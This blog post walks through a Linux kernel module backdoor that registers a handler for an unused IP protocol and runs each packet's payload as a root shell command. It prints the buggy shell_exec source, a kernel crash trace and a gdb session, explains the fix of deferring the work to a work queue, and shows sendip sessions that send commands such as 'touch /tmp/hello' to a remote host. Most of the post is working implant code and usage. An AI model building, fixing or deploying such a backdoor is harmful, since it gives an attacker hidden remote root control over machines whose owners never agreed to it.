Linux kernel network backdoor

The ksplice blog has a very nice entry on hosting backdoors in hardware.
The quick summary of this backdoor is:

1. Register a protocol handler for an unused IP protocol number .
2. Call usermodhelper to execute the payload of the packet (skb->data).
3. Remote system now executes any command that you send it as root.

Unfortunately, it looks like the code is either out of date and/or buggy. Attempting to modprobe the backdoor module generates the following kernel call trace:

	Oct 28 10:43:47 debian kernel: [269087.601151] pkt_len: 13, ipv4, hdr_len: 5
	Oct 28 10:43:47 debian kernel: [269087.601154] s_ip: 192.168.127.108,
	Oct 28 10:43:47 debian kernel: [269087.601155] data: touch /tmp/x,
	Oct 28 10:43:47 debian kernel: [269087.601156] About to run: touch /tmp/x,
	Oct 28 10:43:47 debian kernel: [269087.601801] Modules linked in: backdoor_buggy(O) vboxsf(O) ppdev lp bnep rfcomm bluetooth rfkill uinput nfsd nfs nfs_acl auth_rpcgss fscache lockd sunrpc ext2 loop joydev iTCO_wdt iTCO_vendor_support psmouse pcspkr serio_raw evdev rng_core usbhid hid i2c_piix4 i2c_core snd_intel8x0 snd_ac97_codec snd_pcm snd_page_alloc snd_timer snd soundcore ac97_bus parport_pc battery processor parport vboxguest(O) thermal_sys ac button power_supply ext4 crc16 jbd2 mbcache dm_mod sg sd_mod sr_mod crc_t10dif cdrom ata_generic ata_piix ahci libahci ohci_hcd ehci_hcd libata usbcore e1000 usb_common scsi_mod [last unloaded: scsi_wait_scan]
	Oct 28 10:43:47 debian kernel: [269087.601847] Pid: 7862, comm: sendip Tainted: G O 3.2.0-4-amd64 #1 Debian 3.2.46-1+deb7u1
	Oct 28 10:43:47 debian kernel: [269087.601849] Call Trace:
	Oct 28 10:43:47 debian kernel: [269087.601851] <IRQ> [<ffffffff813480b9>] ? __schedule_bug+0x3e/0x52
	Oct 28 10:43:47 debian kernel: [269087.601859] [<ffffffff8134d29d>] ? __schedule+0x85/0x610
	Oct 28 10:43:47 debian kernel: [269087.601863] [<ffffffff81041f3d>] ? __cond_resched+0x1d/0x26
	Oct 28 10:43:47 debian kernel: [269087.601865] [<ffffffff8134d877>] ? _cond_resched+0x12/0x1c
	Oct 28 10:43:47 debian kernel: [269087.601866] [<ffffffff8134d89f>] ? wait_for_common+0x1e/0x119
	Oct 28 10:43:47 debian kernel: [269087.601869] [<ffffffff8134ebc7>] ? _raw_spin_unlock_irqrestore+0xe/0xf
	Oct 28 10:43:47 debian kernel: [269087.601872] [<ffffffff8105af63>] ? queue_work_on+0x2f/0x3d
	Oct 28 10:43:47 debian kernel: [269087.601875] [<ffffffff8105972c>] ? call_usermodehelper_exec+0xa3/0xe8
	Oct 28 10:43:47 debian kernel: [269087.601879] [<ffffffffa03ec0e3>] ? exec_packet+0xe3/0x102 [backdoor_buggy]
	Oct 28 10:43:47 debian kernel: [269087.601883] [<ffffffff812b6bf1>] ? ip_local_deliver_finish+0x143/0x1b0
	Oct 28 10:43:47 debian kernel: [269087.601886] [<ffffffff8128d974>] ? __netif_receive_skb+0x3fb/0x42d
	Oct 28 10:43:47 debian kernel: [269087.601888] [<ffffffff8128da12>] ? process_backlog+0x6c/0x123
	Oct 28 10:43:47 debian kernel: [269087.601892] [<ffffffff8119d268>] ? blk_done_softirq+0x65/0x74
	Oct 28 10:43:47 debian kernel: [269087.601894] [<ffffffff8128f907>] ? net_rx_action+0xa1/0x1af
	Oct 28 10:43:47 debian kernel: [269087.601897] [<ffffffff8104b614>] ? __local_bh_enable+0x40/0x77
	Oct 28 10:43:47 debian kernel: [269087.601899] [<ffffffff8104c1ac>] ? __do_softirq+0xb9/0x177
	Oct 28 10:43:47 debian kernel: [269087.601902] [<ffffffff81355dec>] ? call_softirq+0x1c/0x30
	Oct 28 10:43:47 debian kernel: [269087.601903] <EOI> [<ffffffff8100f8cd>] ? do_softirq+0x3c/0x7b
	Oct 28 10:43:47 debian kernel: [269087.601909] [<ffffffff8104c0d7>] ? _local_bh_enable_ip.isra.11+0x76/0x88
	Oct 28 10:43:47 debian kernel: [269087.601911] [<ffffffff81290cd3>] ? dev_queue_xmit+0x458/0x46b
	Oct 28 10:43:47 debian kernel: [269087.601914] [<ffffffff812b950c>] ? ip_finish_output2+0x1ca/0x1f9
	Oct 28 10:43:47 debian kernel: [269087.601916] [<ffffffff812d4252>] ? raw_sendmsg+0x5ef/0x7b6
	Oct 28 10:43:47 debian kernel: [269087.601920] [<ffffffff810b47bd>] ? sleep_on_page+0xa/0xa
	Oct 28 10:43:47 debian kernel: [269087.601923] [<ffffffff8110b0b4>] ? __d_lookup_rcu+0x34/0xfe
	Oct 28 10:43:47 debian kernel: [269087.601925] [<ffffffff810b4683>] ? find_get_page+0x40/0x62
	Oct 28 10:43:47 debian kernel: [269087.601928] [<ffffffff810364e8>] ? should_resched+0x5/0x23
	Oct 28 10:43:47 debian kernel: [269087.601932] [<ffffffff8127e841>] ? sock_sendmsg+0xc1/0xde
	Oct 28 10:43:47 debian kernel: [269087.601934] [<ffffffff8134ecfb>] ? _raw_spin_lock_bh+0xe/0x1c
	Oct 28 10:43:47 debian kernel: [269087.601937] [<ffffffff8128140e>] ? release_sock+0x17/0x101
	Oct 28 10:43:47 debian kernel: [269087.601939] [<ffffffff8104c07f>] ? _local_bh_enable_ip.isra.11+0x1e/0x88
	Oct 28 10:43:47 debian kernel: [269087.601941] [<ffffffff812bcd93>] ? do_ip_setsockopt.isra.6+0xa4a/0xa87
	Oct 28 10:43:47 debian kernel: [269087.601943] [<ffffffff810364e8>] ? should_resched+0x5/0x23
	Oct 28 10:43:47 debian kernel: [269087.601945] [<ffffffff8134d86c>] ? _cond_resched+0x7/0x1c
	Oct 28 10:43:47 debian kernel: [269087.601947] [<ffffffff8127d28f>] ? copy_from_user+0x18/0x30
	Oct 28 10:43:47 debian kernel: [269087.601950] [<ffffffff812800d7>] ? sys_sendto+0xf7/0x137
	Oct 28 10:43:47 debian kernel: [269087.601953] [<ffffffff812bcea1>] ? ip_setsockopt+0x2b/0x8b
	Oct 28 10:43:47 debian kernel: [269087.601955] [<ffffffff81353b92>] ? system_call_fastpath+0x16/0x1b

view raw gistfile1.txt hosted with ❤ by GitHub

Further investigations reveal that this is due to us calling a sleepy method from an atomic one... call_usermodhelper will eventually call wait_for_common which sleeps.  You do not want to sleep in an ISR routine.

	lmwangi@debian:~/backdoor$ gdb backdoor_buggy.ko
	GNU gdb (GDB) 7.4.1-debian
	Copyright (C) 2012 Free Software Foundation, Inc.
	License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
	This is free software: you are free to change and redistribute it.
	There is NO WARRANTY, to the extent permitted by law. Type "show copying"
	and "show warranty" for details.
	This GDB was configured as "x86_64-linux-gnu".
	For bug reporting instructions, please see:
	<http://www.gnu.org/software/gdb/bugs/>...
	Reading symbols from /home/lmwangi/backdoor/backdoor_buggy.ko...done.
	(gdb) l *exec_packet+0xe3
	0x107 is in exec_packet (/home/lmwangi/backdoor/backdoor_buggy.c:17).
	12 static void shell_exec (struct sk_buff *skb) {
	13 char *envp[4] = {"HOME=/", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
	14 char *cmd[] = {"/bin/sh", "-c", skb->data, NULL};
	15 printk(KERN_INFO "About to run: %s, ", skb->data);
	16 call_usermodehelper(cmd[0], cmd, envp, UMH_WAIT_EXEC);
	17 kfree_skb(skb);
	18 }

view raw bugg_code.c hosted with ❤ by GitHub

The fix for this is to use a deferrable; we need to stop working in an interrupt context and schedule the non atomic work for future processing.

One possible solution is to use work queues for deferrable work. Here's an example implementation in github using work queues.

And here's an example session:

	# Dropping a cookie
	$ ls /tmp/
	ssh-6CCizuH8ioj3
	$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
	$ ls /tmp/
	ssh-6CCizuH8ioj3 x
	# And another one
	$ echo -ne "touch /tmp/hello \0" | hexdump -C
	00000000 74 6f 75 63 68 20 2f 74 6d 70 2f 68 65 6c 6c 6f |touch /tmp/hello|
	00000010 20 00 | .|
	$ echo -ne "touch /tmp/hello \0" > payload
	$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
	$ ls /tmp/
	hello ssh-6CCizuH8ioj3 x
	$ sudo tcpdump -i any -n icmp&
	tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
	listening on any, link-type LINUX_SLL (Linux cooked), capture size 65535 bytes
	[1]+ sudo tcpdump -i any -n icmp &
	$ echo -ne "ping -c 2 8.8.8.8 \0" > payload
	$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload 192.168.1.15
	$
	11:55:18.500262 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 1, length 64
	11:55:18.699243 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 1, length 64
	11:55:19.501678 IP 192.168.1.15 > 8.8.8.8: ICMP echo request, id 3222, seq 2, length 64
	11:55:19.706129 IP 8.8.8.8 > 192.168.1.15: ICMP echo reply, id 3222, seq 2, length 64
	---- Corresponding logs
	Oct 28 11:51:30 debian kernel: [ 81.898799] pkt_len: 13, ipv4, hdr_len: 5
	Oct 28 11:51:30 debian kernel: [ 81.898802] s_ip: 192.168.1.15,
	Oct 28 11:51:30 debian kernel: [ 81.898803] data: touch /tmp/x, All done..
	Oct 28 11:51:30 debian kernel: [ 81.898809] Worker received skb ffff88001ee191c0
	Oct 28 11:52:35 debian kernel: [ 81.898810] worker received data: touch /tmp/x,
	Oct 28 11:52:35 debian kernel: [ 146.791121] pkt_len: 0, ipv4, hdr_len: 5
	Oct 28 11:52:35 debian kernel: [ 146.791125] s_ip: 192.168.1.15,
	Oct 28 11:52:35 debian kernel: [ 146.791127] data: , All done..
	Oct 28 11:52:35 debian kernel: [ 146.791135] Worker received skb ffff88001bffc0c0
	Oct 28 11:53:03 debian kernel: [ 146.791137] worker received data: ,
	Oct 28 11:53:03 debian kernel: [ 174.826200] pkt_len: 18, ipv4, hdr_len: 5
	Oct 28 11:53:03 debian kernel: [ 174.826203] s_ip: 192.168.1.15,
	Oct 28 11:53:03 debian kernel: [ 174.826204] data: touch /tmp/hello , All done..
	Oct 28 11:53:03 debian kernel: [ 174.826210] Worker received skb ffff88001bffc6c0
	Oct 28 11:54:29 debian kernel: [ 174.826211] worker received data: touch /tmp/hello ,
	Oct 28 11:54:29 debian kernel: [ 260.700901] pkt_len: 21, ipv4, hdr_len: 5
	Oct 28 11:54:29 debian kernel: [ 260.700904] s_ip: 192.168.1.15,
	Oct 28 11:54:29 debian kernel: [ 260.700905] data: ping -c 2 192.168.1.15 , All done..
	Oct 28 11:54:29 debian kernel: [ 260.700912] Worker received skb ffff88001bffc6c0
	Oct 28 11:55:18 debian kernel: [ 260.700913] worker received data: ping -c 2 192.168.1.15 ,
	Oct 28 11:55:18 debian kernel: [ 309.900887] pkt_len: 20, ipv4, hdr_len: 5
	Oct 28 11:55:18 debian kernel: [ 309.900891] s_ip: 192.168.1.15,
	Oct 28 11:55:18 debian kernel: [ 309.900892] data: ping -c 2 8.8.8.8 , All done..
	Oct 28 11:55:18 debian kernel: [ 309.900900] Worker received skb ffff88001d86f680

view raw play.sh hosted with ❤ by GitHub